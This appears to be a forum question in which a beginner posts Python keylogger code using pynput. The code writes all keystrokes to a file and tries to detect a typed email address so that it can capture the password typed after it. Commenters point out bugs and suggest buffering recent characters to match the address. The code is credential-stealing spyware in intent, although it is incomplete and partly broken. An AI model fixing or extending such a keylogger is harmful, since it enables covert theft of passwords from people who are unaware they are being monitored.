1

I am writing a Keylogger in python and I need that when the variable keydata == "example@hotmail.com" match, a file is created where it will store the words after the verified keydata variable until 3 key.enters are done.

Everything works correctly with the keywords key.enter, key.space.

Help please I'm a beginner!!

from pynput.keyboard import Listener

def prconsole(key):
    keydata = str(key)
    keydata = keydata.replace("'","")

    if keydata == "Key.space":
        keydata = (" ")

    if keydata == "Key.enter":
        keydata = ("\n")

    if keydata == "example@hotmail.com":
        deTPass(keydata)

    SaveF(keydata)

def SaveF(keydata):
    with open ("record.txt", 'a') as f:
        f.write(keydata)


def deTPass(keydata):
    with open ("logging.txt", 'a') as c:
        c.write(keydata)
        i = 0
        while i < 3:
            if keydata == "Key.enter":
                i = i + 1
        c.close()

#SPACE BUG :)

with Listener(on_press=prconsole) as l:
    l.join()
wjandrea
  • 28,235
  • 9
  • 60
  • 81
Token
  • 11
  • 1
  • why you think it should? You never call this code – Marcin Orlowski Apr 13 '23 at 16:02
  • 1
    Unless you have a single key on the keyboard called "example@hotmail.com", I don't see how this can work. – interjay Apr 13 '23 at 16:03
  • 1
    @MarcinOrlowski It's called by the Listener's `on_press`. – interjay Apr 13 '23 at 16:05
  • What you'd have to do is to record the last recorded characters. Once the last 19 characters combined make example@hotmail.com, you should call your function. Of course, this doesn't take into consideration a user may use a backspace in between – Remy Kabel Apr 13 '23 at 16:13

0 Answers0